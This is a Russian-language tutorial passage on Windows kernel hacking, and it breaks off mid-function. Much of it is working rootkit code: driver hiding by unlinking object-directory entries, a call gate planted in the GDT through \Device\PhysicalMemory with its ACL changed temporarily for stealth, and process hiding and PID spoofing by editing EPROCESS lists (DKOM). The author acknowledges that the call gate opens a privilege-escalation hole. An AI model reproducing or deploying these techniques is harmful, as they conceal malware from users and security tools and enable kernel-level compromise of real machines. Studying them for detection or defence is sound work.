Возможно, у вас может возникнуть задача скрытия загруженного драйвера. Первое что приходит в голову - это конечно же перехват API, но в нулевом кольце можно воспользоваться более простыми и надежными методами. Дело в том, что каждый загруженный драйвер представляется в первичном пространстве имен диспетчера объектов как объект типа "Driver" в каталоге \Driver. Каталог первичного пространства имен в структурах ядра выглядит как массив указателей на входящие в эту директорию поддиректории и объекты. В структурах описывающих поддиректории также имеются двухсвязные списки указателей на предыдущую и следующую директории списка. Для скрытия объекта в первичном пространстве имен нам нужно получить указатель на объект директории, найти в нем структуру описывающую скрываемый объект и корректно удалить её. Все эти действия осуществляет нижеприведенный код:
#define NUMBER_HASH_BUCKETS 37
typedef struct _OBJECT_DIRECTORY_ENTRY {
struct _OBJECT_DIRECTORY_ENTRY *ChainLink;
PVOID Object;
} OBJECT_DIRECTORY_ENTRY, *POBJECT_DIRECTORY_ENTRY;
typedef struct _OBJECT_DIRECTORY {
struct _OBJECT_DIRECTORY_ENTRY *HashBuckets[ NUMBER_HASH_BUCKETS ];
struct _OBJECT_DIRECTORY_ENTRY **LookupBucket;
BOOLEAN LookupFound;
USHORT SymbolicLinkUsageCount;
struct _DEVICE_MAP *DeviceMap;
} OBJECT_DIRECTORY, *POBJECT_DIRECTORY;
typedef struct _DEVICE_MAP {
ULONG ReferenceCount;
POBJECT_DIRECTORY DosDevicesDirectory;
ULONG DriveMap;
UCHAR DriveType[ 32 ];
} DEVICE_MAP, *PDEVICE_MAP;
typedef struct _OBJECT_HEADER_NAME_INFO {
POBJECT_DIRECTORY Directory;
UNICODE_STRING Name;
ULONG Reserved;
} OBJECT_HEADER_NAME_INFO, *POBJECT_HEADER_NAME_INFO;
typedef struct _OBJECT_HEADER {
LONG PointerCount;
union {
LONG HandleCount;
PSINGLE_LIST_ENTRY SEntry;
};
POBJECT_TYPE Type;
UCHAR NameInfoOffset;
UCHAR HandleInfoOffset;
UCHAR QuotaInfoOffset;
UCHAR Flags;
union {
PVOID ObjectCreateInfo;
PVOID QuotaBlockCharged;
};
PSECURITY_DESCRIPTOR SecurityDescriptor;
QUAD Body;
} OBJECT_HEADER, *POBJECT_HEADER;
#define OBJECT_TO_OBJECT_HEADER(o) CONTAINING_RECORD((o), OBJECT_HEADER, Body);
#define OBJECT_HEADER_TO_NAME_INFO( oh ) ((POBJECT_HEADER_NAME_INFO) \
((oh)->NameInfoOffset == 0 ? NULL : ((PCHAR)(oh) - (oh)->NameInfoOffset)))
extern
NTSTATUS ObOpenObjectByName (IN POBJECT_ATTRIBUTES ObjectAttributes,
IN POBJECT_TYPE ObjectType OPTIONAL, IN KPROCESSOR_MODE AccessMode,
IN OUT PACCESS_STATE AccessState OPTIONAL, IN ACCESS_MASK DesiredAccess OPTIONAL,
IN OUT PVOID ParseContext OPTIONAL, OUT PHANDLE Handle);
BOOLEAN mywcsstrsize(PCWSTR Str1, PCWSTR Str2, ULONG Size)
{
__try
{
return (wcsncmp(Str1, Str2, Size / 2) == 0);
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
return FALSE;
}
}
void HideObject(PCWSTR pDirectoryName, PCWSTR pObName)
{
OBJECT_ATTRIBUTES ObjectAttributes;
UNICODE_STRING ucName;
NTSTATUS Status;
HANDLE hDirectory = NULL;
POBJECT_DIRECTORY pDirectoryObject = NULL;
KIRQL OldIrql;
POBJECT_HEADER ObjectHeader;
POBJECT_HEADER_NAME_INFO NameInfo;
POBJECT_DIRECTORY_ENTRY DirectoryEntry;
POBJECT_DIRECTORY_ENTRY DirectoryEntryNext;
POBJECT_DIRECTORY_ENTRY DirectoryEntryTop;
ULONG Bucket = 0;
UNICODE_STRING ObjectName;
BOOLEAN found = FALSE;
RtlInitUnicodeString(&ucName, pDirectoryName);
InitializeObjectAttributes(&ObjectAttributes, &ucName, OBJ_CASE_INSENSITIVE, NULL, NULL);
Status = ObOpenObjectByName(&ObjectAttributes, NULL, KernelMode,
NULL, GENERIC_READ, NULL, &hDirectory);
if (Status != STATUS_SUCCESS)
{
DPRINT("Error open directory object");
goto __exit;
}
Status = ObReferenceObjectByHandle(hDirectory, FILE_ANY_ACCESS, NULL,
KernelMode,&pDirectoryObject, NULL);
if (Status != STATUS_SUCCESS)
{
DPRINT("Error on get object pointer");
goto __exit;
}
KeRaiseIrql(APC_LEVEL, &OldIrql);
for (Bucket = 0; Bucket < NUMBER_HASH_BUCKETS; Bucket++)
{
if (found)
break;
DirectoryEntry = pDirectoryObject->HashBuckets[Bucket];
if (!DirectoryEntry)
continue;
ObjectHeader = OBJECT_TO_OBJECT_HEADER(DirectoryEntry->Object);
NameInfo = OBJECT_HEADER_TO_NAME_INFO(ObjectHeader );
if (NameInfo != NULL)
{
ObjectName = NameInfo->Name;
DPRINT("Test object, name %ws, legth %d", ObjectName.Buffer, ObjectName.Length);
if (mywcsstrsize(ObjectName.Buffer, pObName, ObjectName.Length))
{
DPRINT("Object found");
DirectoryEntryTop = pDirectoryObject->HashBuckets[Bucket];
DirectoryEntryNext = DirectoryEntryTop->ChainLink;
pDirectoryObject->HashBuckets[Bucket] = DirectoryEntryNext;
DirectoryEntryTop = pDirectoryObject->HashBuckets[Bucket];
while (DirectoryEntryNext)
{
DirectoryEntryTop->ChainLink = DirectoryEntryNext->ChainLink;
DirectoryEntryTop = DirectoryEntryTop->ChainLink;
DirectoryEntryNext = DirectoryEntryNext->ChainLink;
}
if (DirectoryEntryTop) DirectoryEntryTop->ChainLink = NULL;
DPRINT ("Object directory entry unlinked OK!\n");
found = TRUE;
break;
}
}
DirectoryEntryNext = DirectoryEntry->ChainLink;
while (DirectoryEntryNext)
{
ObjectHeader = OBJECT_TO_OBJECT_HEADER(DirectoryEntryNext->Object);
NameInfo = OBJECT_HEADER_TO_NAME_INFO (ObjectHeader);
if (NameInfo != NULL)
{
ObjectName = NameInfo->Name;
if (mywcsstrsize(ObjectName.Buffer, pObName, ObjectName.Length))
{
DirectoryEntry->ChainLink = DirectoryEntryNext->ChainLink;
DPRINT ("Object directory entry unlinked OK!\n");
found = TRUE;
break;
}
}
if (DirectoryEntry)
{
DirectoryEntry = DirectoryEntry->ChainLink;
DirectoryEntryNext = DirectoryEntry->ChainLink;
}
else DirectoryEntryNext = NULL;
}
}
KeLowerIrql(OldIrql);
__exit:
if (pDirectoryObject) ObDereferenceObject(pDirectoryObject);
if (hDirectory) ZwClose (hDirectory);
return;
}
Впервые этот код был приведен на http://www.rootkit.com/newsread.php?newsid=209
Теперь для скрытия какого-либо объекта достаточно вызвать HideObject(L"\\Driver", L"MyDriver"); где \Driver - директория где находится объект, а MyDriver - имя объекта. Полный код драйвера осуществляющего такое скрытие я здесь приводить не буду, но вы можете скачать в приложении к статье драйвер подобный предыдущему (выводящий в отладочную консоль получаемую информацию), но удаляющий себя из списка загруженных драйверов. Единственный недостаток этого метода в том, что скрытый таким образом драйвер нельзя будет выгрузить из системы, а также, если скрытие драйвера вызывается в процедуре DriverEntry, то драйвер при запуске будет возвращать код ошибки, но в памяти останется и будет нормально функционировать.
Здесь я дал только основные принципы написания драйверов. Это достаточно для того, чтобы начать их писать, но если вы интересуетесь этой темой, то отсылаю вас к специальной литературе на эту тему.
А что можно без драйвера?
Иногда возникает необходимость производить действия доступные только в нулевом кольце, а использовать для этого драйвер нежелательно или невозможно. Поэтому я опишу еще один способ, который позволяет перейти в нулевое кольцо и работать в нем не используя драйвер вообще. Способ этот основывается на открытии секции \Device\PhysicalMemory и модификации глобальной таблицы дескрипторов (GDT). В GDT добавляется дескриптор шлюза вызова CallGate который указывает на наш код выполняющийся в нулевом кольце. После чего производится вызов шлюза командой длинного вызова CALL FAR, которая изменяет привилегии кода и передает управление нашему коду. Структура описывающая шлюз вызова выглядит следующим образом:
PGateDescriptor = ^TGateDescriptor;
TGateDescriptor = packed record
OffsetLo: Word; // нижние 2 байта адреса
Selector: Word; // кодовый селектор (определяет привилегии)
Attributes: Word; // атрибуты шлюза
OffsetHi: Word; // верхние 2 байта адреса
end;
Нужно определить адрес GDT в памяти (с помощью команды SGDT), перевести полученный виртуальный адрес в физический, отобразить данный участок памяти в свое адресное пространство, после чего найти ближайший свободный селектор в GDT и записать туда свой шлюз.
Сейчас мы разберем по порядку все эти действия:
Открытие памяти:
{ Открытие физической памяти }
function OpenPhysicalMemory(mAccess: dword): THandle;
var
PhysMemString: TUnicodeString;
Attr: TObjectAttributes;
OldAcl, NewAcl: PACL;
SD: PSECURITY_DESCRIPTOR;
Access: EXPLICIT_ACCESS;
mHandle: dword;
begin
Result := 0;
RtlInitUnicodeString(@PhysMemString, MemDeviceName);
InitializeObjectAttributes(@Attr, @PhysMemString, OBJ_CASE_INSENSITIVE or
OBJ_KERNEL_HANDLE, 0, nil);
if ZwOpenSection(@mHandle, READ_CONTROL or
WRITE_DAC , @Attr) <> STATUS_SUCCESS then Exit;
if GetSecurityInfo(mHandle, SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
nil, nil, @OldAcl, nil, SD) <> ERROR_SUCCESS then Exit;
with Access do
begin
grfAccessPermissions := mAccess;
grfAccessMode := GRANT_ACCESS;
grfInheritance := NO_INHERITANCE;
Trustee.pMultipleTrustee := nil;
Trustee.MultipleTrusteeOperation := NO_MULTIPLE_TRUSTEE;
Trustee.TrusteeForm := TRUSTEE_IS_NAME;
Trustee.TrusteeType := TRUSTEE_IS_USER;
Trustee.ptstrName := ’CURRENT_USER’;
end;
SetEntriesInAcl(1, @Access, OldAcl, NewAcl);
SetSecurityInfo(mHandle , SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
nil, nil, NewAcl, nil);
ZwOpenSection(@Result, mAccess, @Attr);
SetSecurityInfo(mHandle , SE_KERNEL_OBJECT, DACL_SECURITY_INFORMATION,
nil, nil, OldAcl, nil);
CloseHandle(mHandle);
LocalFree(DWORD(NewAcl));
LocalFree(DWORD(SD));
end;
Следует обратить внимание на то, что нужную нам секцию нельзя сразу открыть на запись, так как полный доступ к ней имеет только система, нужно сначала изменить атрибуты безопасности секции разрешив текущему пользователю открывать её на запись, после чего секцию можно открыть и установить старые атрибуты безопасности обратно (для большей незаметности). Естественно все эти действия можно проделать только имея права администратора.
Установка шлюза будет выглядеть так:
{
Получение физического адреса из виртуального.
Действительно только для Nonpaged Memory.
}
function QuasiMmGetPhysicalAddress(VirtualAddress: dword;
var Offset: dword): dword;
begin
Offset := VirtualAddress and $FFF; if (VirtualAddress
> $80000000) and (VirtualAddress < $A0000000) then
Result := VirtualAddress and $1ffff000
else Result := VirtualAddress and $fff000;
end;
{ установка калгейта }
Function InstallCallgate(hPhysMem: dword): boolean;
var
gdt: TGDTInfo;
offset, base_address: DWORD;
begin
Result := false;
if hPhysMem = 0 then Exit;
asm sgdt [gdt] end;
base_address := QuasiMmGetPhysicalAddress(gdt.Base, offset);
ptrGDT := MapViewOfFile(hPhysMem, FILE_MAP_READ or FILE_MAP_WRITE,
0, base_address, gdt.limit + offset);
if ptrGDT = nil then Exit;
CurrentGate := PGateDescriptor(DWORD(ptrGDT) + offset);
repeat
CurrentGate := PGateDescriptor(DWORD(CurrentGate) + SizeOf(TGateDescriptor));
if (CurrentGate.Attributes and $FF00) = 0 then
begin
OldGate := CurrentGate^;
CurrentGate.Selector := $08; // ring0 code selector
CurrentGate.OffsetLo := DWORD(@Ring0CallProc);
CurrentGate.OffsetHi := DWORD(@Ring0CallProc) shr 16;
CurrentGate.Attributes := $EC00;
FarCall.Offset := 0;
FarCall.Selector := DWORD(CurrentGate) - DWORD(ptrGDT) - offset;
Break;
end;
until DWORD(CurrentGate) >= DWORD(ptrGDT) + gdt.limit + offset;
FlushViewOfFile(CurrentGate, SizeOf(TGateDescriptor));
Result := true;
end;
В этом коде Ring0CallProc - адрес кода который может быть вызван через установленный шлюз и будет выполнен в нулевом кольце защиты. Селектор установленного шлюза будет равен DWORD(CurrentGate) - DWORD(ptrGDT) - offset, смещение неважно. Теперь для вызова нашего кода достаточно выполнить длинный вызов FAR CALL на установленный шлюз:
asm
db $0ff, $01d // call far [FarCall]
dd offset FarCall; //
end;
Когда необходимость в шлюзе отпадет, то его необходимо убрать с помощью следующего кода:
{ удаление каллгейта }
Procedure UninstallCallgate();
begin
CurrentGate^ := OldGate;
UnmapViewOfFile(ptrGDT);
end;
С помощью этого способа можно не используя драйвер исполнять участки кода в нулевом кольце, но применять данный способ весьма нежелательно. Дело в том, что код на который указывает шлюз находится в пользовательском диапазоне адресов, и следовательно для каждого адресного пространства будет различным. Вызывать же шлюзы из GDT можно из любого процесса. Вызов нашего шлюза из другого процеса скорее всего приведет к падению системы с синим экраном, а специально составленный вызов может позволить процессу выполняющемуся с низкими правами поднять свои привилегии. Следует запомнить, что установка пользовательских шлюзов в нулевое кольцо создает в системе серьезную уязвимость, поэтому следует стараться не применять их в своих программах, или хотя-бы быстро удалять шлюз после использования. Подобного эффекта можно также достичь путем модификации IDT и перенаправления вектора какого-либо неиспользуемого прерывания в свой код с последующим вызовом этого прерывания.
Как работать в ring0 без драйвера:
Теперь мы можем не используя драйвер выполнять участки кода в нулевом кольце. Но что мы можем сделать? Работая в драйвере мы можем использовать функции экспортируемые ядром и другими драйверами, и с помощью них взаимодействовать с системой, а здесь наш код лишен такой возможности по той причине, что мы не знаем адреса необходимых нам функций. Также, при работе в драйвере мы имеем другое содержимое сегментных регистров, которое заполняется при выполнении системного вызова, а в данном случае мы имеем те же регистры, что и в режиме пользователя. Поэтому для выполнения каких-либо практических задач с применением этого метода нам нужно получить адреса необходимых нам функций ядра и изменять содержимое регистра FS, через который осуществляется доступ к системным структурам связанным с текущим процессом. В режиме пользователя и в режиме ядра этот регистр указывает на совершенно разные структуры. Для получения адресов API ядра можно использовать следующую методику: загрузить ядро (ntoskrnl.exe) с помощью LoadLibraryEx с установленным флагом DONT_RESOLVE_DLL_REFERENCES в наше адресное пространство, функция возвратит нам адрес MZ заголовка ядра подгруженного в User Space. Теперь с помощью GetProcAddress мы можем получить адрес интересующей нас функции в User Space. Разность адреса функции и адреса подгруженного ядра будет смещением начала функции в ядре. Теперь нам нужно узнать адрес загрузки ядра в Kernel Space и прибавить к нему полученное смещение, и у нас будет адрес нужной нам функции в Kernel Space. Определить адрес загрузки системного модуля в Kernel Space можно путем вызова Nativa API функции ZwQuerySystemInformation с классом SystemModuleInformation, функция вернет нам список загруженных модулей и информацию о них. Для получения адреса загрузки модуля в Kernel Space можно использовать следующую функцию:
{
Получение виртуального адреса для модуля
загруженного в системное адресное пространство.
}
function GetKernelModuleAddress(pModuleName: PChar): dword;
var
Info: PSYSTEM_MODULE_INFORMATION_EX;
R: dword;
begin
Result := 0;
Info := GetInfoTable(SystemModuleInformation);
for r := 0 to Info^.ModulesCount do
if lstrcmpi(PChar(dword(@Info^.Modules[r].ImageName)
+ Info^.Modules[r].ModuleNameOffset), pModuleName) = 0 then
begin
Result := dword(Info^.Modules[r].Base);
break;
end;
VirtualFree(Info, 0, MEM_RELEASE);
end;
После чего адрес нужной нам функции ядра вычисляется следующим образом:
{ Получение адреса ядерной API в системном адресном пространстве. }
Function GetKernelProcAddress(lpProcName: PChar): dword;
var
uProc: dword;
begin
uProc := dword(GetProcAddress(dKernelBase, lpProcName));
if uProc > 0 then Result := (uProc - dKernelBase) + KernelBase
else Result := 0;
end;
где dKernelBase - адрес ядра загруженного в User Space, KernelBase - адрес ядра в Kernel Space. Теперь, нам нужно получить таким способом адреса всех необходимых функций и сохранить их в глобальных переменных, после чего их можно будет легко вызывать из Ring0 кода. Также не следует забывать а необходимости перезагрузки регистра FS, что делается следующим кодом:
{ перезагрузка регистра FS и вызов Ring0 кода }
procedure Ring0CallProc;
asm
cli
pushad
mov di, $30
mov fs, di
call Ring0ProcAdr
mov di, $3B
mov fs, di
popad
sti
retf
end;
Попробуем теперь найти применение описанной методике. Для начала напишем функцию Ring0CopyMemory, которая будет копировать участки памяти в нулевом кольце, что позволит нам работать с памятью ядра. Но неприятная особенность копирования памяти в нулевом кольце состоит в том, что попытка доступа к невыделенной памяти неизбежно ведет к синему экрану, поэтому перед копированием желательно проверить переданные указатели на валидность. Для этого в ядре существует функция MmIsAddressValid, которая принимает проверяемый указатель, и возвращает в случае валидности указателя EAX > 0, или 0, если память невыделенна. Получим адрес этой функции по вышеописанной методике и занесем его в переменную AdrMmIsValid. После этого функция копирования памяти будет иметь следующий вид:
{
Копирование участка памяти из 0 кольца.
Можно работать с памятью ядра.
ВНИМАНИЕ! некорректная запись в память ядра приведет к падению системы!
}
Procedure Ring0CopyMemory(Source, Destination: pointer; Size: dword);
var
Data : packed record
Src: pointer;
Dst: pointer;
Size: dword;
end;
Procedure Ring0Call;
asm
//проверка адресов
mov ebx, eax
mov eax, [ebx]
push eax
call AdrMmIsValid
test eax, eax
jz @Exit
mov eax, [ebx]
add eax, [ebx + $08]
push eax
call AdrMmIsValid
test eax, eax
jz @Exit
mov eax, [ebx + $04]
push eax
call AdrMmIsValid
test eax, eax
jz @Exit
mov eax, [ebx + $04]
add eax, [ebx + $08]
push eax
call AdrMmIsValid
test eax, eax
jz @Exit
//копирование
mov esi, [ebx]
mov edi, [ebx + $04]
mov ecx, [ebx + $08]
rep movsb
@Exit:
ret
end;
begin
Data.Src := Source;
Data.Dst := Destination;
Data.Size := Size;
VirtualLock(Source, Size);
VirtualLock(Destination, Size);
CallRing0(@Ring0Call, @Data);
VirtualUnlock(Source, Size);
VirtualUnlock(Destination, Size);
end;
Также следует обратить внимание на то, что перед копированием делается попытка закрепить копируемые страницы в памяти, так как при их отсутствии, из за того, что переход в нулевое кольцо совершен без уведомления системы и изменения соответствующих системных структур, страничная ошибка может быть неправильно обработана и подкачка не выполнена, что приведет к падению системы. Естественно, после копирования закрепленные страницы следует разблокировать. При применении для перехода в нулевое кольцо шлюза вызова, злоупотреблять этой процедурой не следует, так как при невозможности закрепления копируемых областей в памяти мы можем получить нестабильность в работе процедуры, и как следствие - частые синие экраны.
Теперь нам доступна память ядра, попробуем поработать с некоторыми ядерными структурами. Для начала, попробуем получить список всех процессов в системе. Казалось бы, зачем для этого лазить в нулевое кольцо, ведь есть ToolHelp API, которые весьма просты в использовании. Но недостаток перечисления процессов через API в том, что они могут быть перехвачены и процесс может быть скрыт. В первой части статьи я описал, как получить список процессов обращаясь к ядру через интерфейс системных вызовов, но этот метод не гарантирует, что будут обнаружены все процессы, так как API могут быть перехвачены в ядре. Поэтому сейчас мы попробуем получить список процессов на самом низком уровне - из структур ядра.
Каждый процесс в памяти ядра представлен структурой EPROCESS, которая хранит в себе информацию о параметрах этого процесса, а также содержит в себе ссылки на структуры предыдущего и следующего процессов в списке. Эта структура имеет различный формат для разных версий Windows NT, поэтому я не буду приводить её целиком, а рассмотрю только важные её части. Допустим, мы уже получили указатель на структуру EPROCESS интересующего нас процесса, теперь нам нужно извлеч из нее имя процесса, его Process Id и id родительского процесса. Для Windows XP имя процесса находится в структуре EPROCESS по смещению 174h и занимает 16 байт в ANSI кодировке, ProcessId - имеет смещение 84h и размер dword, Parrent Process ID имеет смещение 14Ch. В Windows 2000 эти данные имеют соответственно смещения 1FCh, 9Сh и 1С8h. В структуре EPROCESS каждого процесса содержатся указатели на структуры следующего и предыдущего процессов. Список структур EPROCESS всех процессов в системе начинается с переменной ядра PsActiveProcessesLink, которая ядром не экспортируется, но её можно получить с помощью анализа двухсвязного списка структур EPROCESS. В общем виде этот двухсвязный список будет выглядеть так:
ActiveProcessesLink - это элемент двухсвязного списка содержащий указатели FLink (на следующий элемент списка) и BLink (на предыдущий). Эти указатели в Windows XP имеют смещения 88h и 8Ch соответственно (в Windows 2000 - A0h и A4h). Заметьте, что указатели ActiveProcessesLink указывают не на начало структуры EPROCESS, а на слудующий элемент двухсвязного списка, поэтому для получения указателя на EPROCESS нам нужно отнять смешение ActiveProcessesLink в структуре EPROCESS. Для получения списка всех процессов в системе нам нужно получить указатель на EPROCESS любого процесса, после чего двигаться по спискам ActiveProcessesLink до тех пор, пока не окажемся на той структуре, с которой начали. В качестве эталона на который будет опираться весь дальнейший код я возьму указатель на EPROCESS процесса System, так как это единственный обязательный процесс в системе который существует все время её работы (после загрузки). Для получения этого указателя сначала получим с помощью функции ядра IoGetCurrentProcess указатель на EPROCESS текущего процесса, после чего будем двигаться по связанным спискам до тех пор, пока не будет обнаружен процесс с Parrent Pid = 0, это и будет процесс System. Так как нужно сделать код работающий в различных версиях Windows (в том числе легко переносимый на следующие версии), то мы не будем хранить в коде смещения нужных нам данных в структуре EPROCESS, а заведем структуру, куда занесем эти данные (в зависимости от версии системы) и будем использовать эту структуру в коде.
UndocData : packed record
{00} BaseProcStrAdr : dword; // адрес первой EPROCESS
{04} ActivePsListOffset: dword; // смещение ActivePsList в EPROCESS
{08} PidOffset: dword; // смещение ProcessID в EPROCESS
{0C} NameOffset: dword; // смещение ImageName в EPROCESS
{10} ppIdOffset: dword; // смещение ParrentPid в EPROCESS
{14} ImgNameOffset: dword; // смещение ImageFileName в EPROCESS
end;
Заполняется эта структура следующим кодом:
{ Инициализация Ring0 библиотеки. }
function InitialzeRing0Library(Ring0GateType: dword): boolean;
var
Version: TOSVersionInfo;
begin
Result := false;
Version.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
GetVersionEx(Version);
if Version.dwMajorVersion <> 5 then Exit;
case Version.dwBuildNumber of
2195 : begin // Windows 2000
UndocData.ActivePsListOffset := $0A0;
UndocData.PidOffset := $09C;
UndocData.NameOffset := $1FC;
UndocData.ppIdOffset := $1C8;
end;
2600 : begin // Windows XP
UndocData.ActivePsListOffset := $088;
UndocData.PidOffset := $084;
UndocData.NameOffset := $174;
UndocData.ppIdOffset := $14C;
UndocData.ImgNameOffset := $1F4;
end;
else Exit;
end;
KernelBase := GetKernelModuleAddress(KernelName);
dKernelBase := LoadLibraryEx(KernelName, 0, DONT_RESOLVE_DLL_REFERENCES);
AdrMmGetPhys := GetKernelProcAddress(’MmGetPhysicalAddress’);
AdrMmIsValid := GetKernelProcAddress(’MmIsAddressValid’);
AdrIoGetCurr := GetKernelProcAddress(’IoGetCurrentProcess’);
AdrSetIoAccess := GetKernelProcAddress(’Ke386SetIoAccessMap’);
AdrGetIoAccess := GetKernelProcAddress(’Ke386QueryIoAccessMap’);
AdrSetAccProc := GetKernelProcAddress(’Ke386IoSetAccessProcess’);
GateType := Ring0GateType;
case GateType of
CALL_GATE : Result := InitializeCallGate();
DRIVER_GATE : Result := InitializeDriverGate();
end;
if Result then UndocData.BaseProcStrAdr := GetSystemEPROCESS();
end;
Также здесь определяются адреса ядерных функций которые нам в дальнейшем понадобятся. Теперь код поиска EPROCESS процесса System будет выглядеть так:
{ получение указателя на структуру EPROCESS для System }
function GetSystemEPROCESS(): dword;
var
Data: packed record
UndocAdr: pointer;
Result: dword;
end;
procedure Ring0Call;
asm
mov ebx, eax
call AdrIoGetCurr
mov edx, [ebx] // UndocAdr
mov esi, [edx + $04] // ActivePsListOffset
mov edi, [edx + $10] // pPidOffset
@Find:
mov ecx, [eax + edi]
test ecx, ecx
jz @Found
mov eax, [eax + esi]
sub eax, esi
jmp @Find
@Found:
mov [ebx + $04], eax
ret
end;
begin
Data.UndocAdr := @UndocData;
CallRing0(@Ring0Call, @Data);
Result := Data.Result;
end;
Теперь, получив указатель на EPROCESS мы можем получить список всех процессов в системе используя следующий код:
type
TPROCESS = packed record
ProcessId : dword;
ImageName : array [0..15] of Char;
pEPROCESS : dword;
ParrentPid: dword;
end;
PSYS_PROCESSES = ^TSYS_PROCESSES;
TSYS_PROCESSES = packed record
ProcessesCount: dword;
Process: array[0..0] of TPROCESS;
end;
{ Получение списка процессов прямым доступом к структурам ядра. }
function GetProcesses(): PSYS_PROCESSES;
var
Eprocess: array [0..$600] of byte;
CurrentStruct: dword;
CurrSize: dword;
OldPriority: dword;
begin
CurrSize := SizeOf(TSYS_PROCESSES);
GetMem(Result, CurrSize);
ZeroMemory(Result, CurrSize);
ZeroMemory(@Eprocess, $600);
CurrentStruct := UndocData.BaseProcStrAdr + UndocData.ActivePsListOffset;
OldPriority := GetThreadPriority($FFFFFFFE);
SetThreadPriority($FFFFFFFE, THREAD_PRIORITY_TIME_CRITICAL);
repeat
CurrentStruct := CurrentStruct - UndocData.ActivePsListOffset;
Ring0CopyMemory(pointer(CurrentStruct), @Eprocess, $220);
if pdword(dword(@Eprocess) + UndocData.ppIdOffset)^ > 0 then
begin
Inc(CurrSize, SizeOf(TPROCESS));
ReallocMem(Result, CurrSize);
Result^.Process[Result^.ProcessesCount].ProcessId :=
pdword(dword(@Eprocess) + UndocData.PidOffset)^;
Result^.Process[Result^.ProcessesCount].pEPROCESS := CurrentStruct;
lstrcpyn(@Result^.Process[Result^.ProcessesCount].ImageName,
PChar(dword(@Eprocess) + UndocData.NameOffset), 16);
Result^.Process[Result^.ProcessesCount].ParrentPid :=
pdword(dword(@Eprocess) + UndocData.ppIdOffset)^;
Inc(Result^.ProcessesCount);
end;
CurrentStruct := pdword(dword(@Eprocess) + UndocData.ActivePsListOffset)^;
if CurrentStruct < $80000000 then break;
until CurrentStruct = UndocData.BaseProcStrAdr + UndocData.ActivePsListOffset;
SetThreadPriority($FFFFFFFE, OldPriority);
end;
Я думаю, обьяснять как работает этот код не следует, так как это должно быть панятно из предшествующего описания. Единственный момент на который следует обратить внимание - это то, что перед получением списка процессов текущему потоку выставляется приоритет реального времени. Это связано с тем, что если наш поток в момент обработки связанного списка будет прерван, и в этот момент произойдет удаление того процесса, на который указывает только что полученный указатель, то наш код может вызвать ошибку доступа памяти в нулевом кольце, и как следствие - синий экран. Повышение приоритета потока исключает такую возможность, так как удаление процессов выполняется потоком режима ядра с приоритетом Normal. Во всех дальнейших примерах будет использован такой-же прием при любых манипуляциях с структурами ядра.
Итак, список процессов мы получили, теперь попробуем изменять структуры EPROCESS. Например, можно сменить PID процесса. Для удобства, все дальнейшие функции будут работать не с Id процесса, а с указателем на его EPROCESS, поэтому введем функцию для получения указателя на EPROCESS по Process Id:
{
Получение по ProcessId указателя на струкруру ядра EPROCESS
связанную с данным процессом.
}
Function GetEPROCESSAdr(ProcessId: dword): dword;
var
Data: packed record
UndocAdr: pointer;
ProcessId: dword;
Result: dword;
end;
procedure Ring0Call;
asm
mov ebx, [eax] //UndocAdr
mov ecx, [eax + $04] //ProcessId
push eax
mov eax, [ebx] //BaseProcStrAdr
mov esi, [ebx + $04] //ActivePsListOffset
mov edi, [ebx + $08] //PidOffset
@Find:
mov edx, [eax + edi] //ActivePs.Pid
cmp edx, ecx //compare process id
jz @Found
mov eax, [eax + esi] // ActivePsList.Flink
sub eax, esi //sub ActivePsListOffset
cmp eax, [ebx] //final
jz @End
jmp @Find
@Found:
pop edx
mov [edx + $08], eax //save result
ret
@End:
pop edx
mov [edx + $08], 0
ret
end;
begin
Data.UndocAdr := @UndocData;
Data.ProcessId := ProcessId;
CallRing0(@Ring0Call, @Data);
Result := Data.Result;
end;
Описывать как работает этот код тоже не стоит, так как это все та же работа со связанными списками. Смена же Process Id по указателю на EPROCESS выглядит и того проще:
{ Смена Id процесса по указателю на EPROCESS. }
Procedure ChangeProcessIdEx(pEPROCESS: dword; NewPid: dword);
var
Data: packed record
UndocAdr: pointer;
pEPROCESS: dword;
NewId: dword;
end;
Procedure Ring0Call;
asm
push eax
mov eax, [eax + $04]
push eax
call AdrMmIsValid
test eax, eax
jz @Exit
pop eax
mov ebx, [eax]
mov esi, [eax + $04] // pEPROCESS
add esi, [ebx + $08] // @pEPROCESS.ProcessId
mov eax, [eax + $08] // NewId
mov [esi], eax
ret
@Exit:
pop eax
ret
end;
begin
if pEPROCESS = 0 then Exit;
Data.UndocAdr := @UndocData;
Data.pEPROCESS := pEPROCESS;
Data.NewId := NewPid;
CallRing0(@Ring0Call, @Data);
end;
Что еще можно сделать интересного с процессом? Например, можно скрыть процесс в системе без использования каких-либо перехватов API. Для этого нужно получить указатель на EPROCESS скрываемого процесса и изменить FLink следующего процесса и BLink предыдущего так, чтобы они указывали друг на друга. Тогда перечисление процессов будет идти в обход скрываемого. Этот метод работает потому, что планировщик Windows ничего не знает о процессах, он просто распределяет процессорное время между всеми потоками в системе независимо от принадлежности их какому-либо процессу. Поэтому в системе могут существовать "свободные" потоки, не принадлежащие никакому процессу. Итак, скрытие процесса осуществляет следующий код:
{
Скрытие процесса по указателю на структуру ядра EPROCESS.
Неправильный указатель может привести к краху системы!
}
Procedure HideProcessEx(pEPROCESS: dword);
var
Data: packed record
UndocAdr: pointer;
pEPROCESS: dword;
end;
Procedure Ring0Call;
asm
push eax
mov eax, [eax + $04]
push eax
call AdrMmIsValid
test eax, eax
jz @Exit
pop eax
mov ebx, [eax] //UndocAdr
mov ecx, [eax + $04] //pEPROCESS
mov esi, [ebx + $04] //ActivePsListOffset
mov edx, [ecx + esi] //ActivePsList.Flink
add esi, $04
mov edi, [ecx + esi] //ActivePsList.Blink
mov [edx + $04], edi //ActivePsList.Flink.Blink = ActivePsList.Blink
mov [edi], edx //ActivePsList.Blink.Flink = ActivePsList.Flink
ret
@Exit:
pop eax
ret
end;
begin
if pEPROCESS = 0 then Exit;
Data.UndocAdr := @UndocData;
Data.pEPROCESS := pEPROCESS;
CallRing0(@Ring0Call, @Data);
end;
Иногда, желательно иметь возможность сделать скрытый процесс снова видимым. Для этого нужно перед скрытием сохранить указатель на EPROCESS, а потом вставить скрытый процесс в любое место связанного списка, соответствующим образом исправив указатели. Для простоты мы будем вставлять процессы сразу же после EPROCESS процесса System, и полный код осуществляющий это будет выглядеть так:
{ Восстановление процесса в списке процессов по указателю на EPROCESS. }
Procedure ShowProcess(pEPROCESS: dword);
var
Data: packed record
UndocAdr: pointer;
pEPROCESS: dword;
end;
Procedure Ring0Call;
asm
push eax
mov eax, [eax + $04]
push eax
